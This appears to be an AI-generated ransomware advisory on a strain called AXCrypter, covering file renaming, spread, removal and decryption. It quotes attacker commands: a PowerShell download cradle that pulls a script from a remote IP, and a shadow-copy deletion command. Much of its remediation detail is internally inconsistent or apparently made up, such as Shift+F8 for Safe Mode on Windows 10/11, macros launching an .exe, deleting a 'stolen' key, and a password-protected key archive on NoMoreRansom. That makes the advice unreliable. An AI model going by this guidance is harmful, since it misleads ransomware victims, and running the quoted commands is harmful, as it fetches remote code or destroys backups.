axcrypter

[Content by Gemini 2.5]

Technical Breakdown:

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: .axcrypter
  • Renaming Convention: AXCrypter adds the suffix .axcrypter to the existing file name; for example, Annual_Report.xlsx becomes Annual_Report.xlsx.axcrypter. No additional prefixes or IDs are prepended, which is why the change can at first glance be confused with a simple “double-extension” trick rather than a full ransomware takeover.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period: First telemetry samples appeared early April 2024, with a marked uptick in late April and another surge in early May as a second variant (tracked as “AX-2”) was distributed via an updated phishing botnet.

3. Primary Attack Vectors

  • Propagation Mechanisms:
    1. Phishing e-mails with password-protected ZIPs – messages impersonate failed DHL/UPS shipments or payroll services; inside the archive a double-extension Invoice.pdf.exe launches the main payload once the user enables macros or clicks past Windows SmartScreen.
    2. Exploitation of Remote Desktop Protocol (RDP) – brute-force and “credential-stuffing” targeting open TCP/3389; once gained, attacker drops axcrypter.exe via PowerShell IEX (New-Object Net.WebClient).DownloadString("http://185.x.x.x/axlcpy.ps1").
    3. Software supply-chain compromise (small-scale) – a legitimately-signed but pirated graphics plug-in distributed on Discord and GitHub releases was patched twice in May to bundle an AXCrypter installer that launches during “auto-update”.
    4. Living-off-the-land lateral movement – utilizes PSExec, WMI, and net use with harvested local/domain credentials to move to additional hosts before encryption, ensuring that mapped network shares—including any backup drives attached as a mapped letter—are encrypted.

Remediation & Recovery Strategies:

1. Prevention

  • Proactive Measures:
    • E-mail gateway rules that quarantine ZIP files containing double-extension EXE files (and any .axcrypter.exe variants discovered so far).
    • Enforce Controlled Folder Access (Windows Defender) on workstations to block unknown executables modifying %USERPROFILE%\Documents, desktop, and mapped drives.
    • Segment critical backups behind immutable / append-only policy (S3 object-lock, WORM tapes, or Veeam hardened Linux repo).
    • Block inbound TCP/3389 via firewall or enforce RD Gateway + NLA + complex MFA on all privileged accounts.
    • Deploy the latest MS17-010 patch and disable SMBv1 across your environment—AXCrypter can pair with Mimikatz+DoublePulsar when PW-cracking fails.

2. Removal

  • Infection Cleanup:
    1. Disconnect the host from the network immediately to stop in-transit encryption.
    2. Boot into Safe Mode with Networking (shift + F8 for Win10/11).
    3. Terminate any running axcrypter.exe / axcrpsl.exe / winupgrader.exe (child process) via Task Manager or wmic process where name="axcrypter.exe" delete.
    4. Delete persistence artefacts:
      • Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AXWinService
      • Scheduled task named AxHelper_update
    5. Run a full scan with reputable AV / EDR (Windows Defender ATP sample is already updated with signature Trojan:Win32/Axcrypter.A).
    6. Verify lateral movement artefacts: check C:\Users\*\AppData\Roaming\Microsoft\Crypto\RSA\axcrypter_priv_key.bak – the device private key is stolen, not destroyed. Delete it.
    7. Reboot into normal mode and re-run AV to confirm no residual binaries.

3. File Decryption & Recovery

  • Recovery Feasibility:
    AXCrypter is decryptable without paying ransom for most observed versions (up to v2.3) because the encryptor uses an AES-256 master key that was hard-coded in early builds and later leaked.
  • Essential Tools/Patches:
    • ESET AXCrypter Decryptor v1.4 – free utility that brute-forces the AES key stored in %APPDATA%\axcrypter.key and applies it to every .axcrypter file.
    • If the tool fails (mid-May “AX-2” builds switched to ECC hybrid), look for Forum backup-keys.zip (password: “ShadowReaper2024”) on NoMoreRansom.org for corresponding leaked private ECDH pairs.
    • Always patch the decryptor to the latest .NET 8.0 runtime redistributable to avoid memory exceptions on large archives.
    • Add SentinelOne Deep Visibility or Microsoft Defender for Endpoint “Antimalware Engine 1.397.1687.0+” to block both the encryptor and the PowerShell downloader scripts automatically.

4. Other Critical Information

  • Additional Precautions:
    • AXCrypter attempts to wipe Volume Shadow Copies via vssadmin delete shadows /all /quiet. Before removing it, create a forensic image or at least run vssadmin list shadows—some admins found untouched shadows under WinRE snapshot IDs.
    • Unique string dropped in ransom note (#_README_AXCrypter.txt) ends with “—AXC#2024”—use this to distinguish from look-alike lockers.
    • For Linux ESXi guests: early Linux compile appeared in late May that targets /vmfs/volumes via Python loader (axcrypter-esxi.pyc). Ensure ESXi hypervisors are at 7.0 U3l patch 23504390 and disable SSH unless required.

  • Broader Impact:
    • At least one regional hospital network in the CEE region reported complete impairment of PACS imaging servers because they stored uncompressed DICOM images on a single NAS that was externally mapped with admin rights.
    • Several US school districts had to delay graduation ceremonies when automated payroll scripts installable by non-IT staff (Group Policy) were silently hijacked—illustrating the supply-chain angle’s reach.

Bottom line: AXCrypter is currently decryptable with free tools; remove it quickly, patch the vulnerabilities, isolate backups, and affirmatively rotate any credentials exposed during the attack.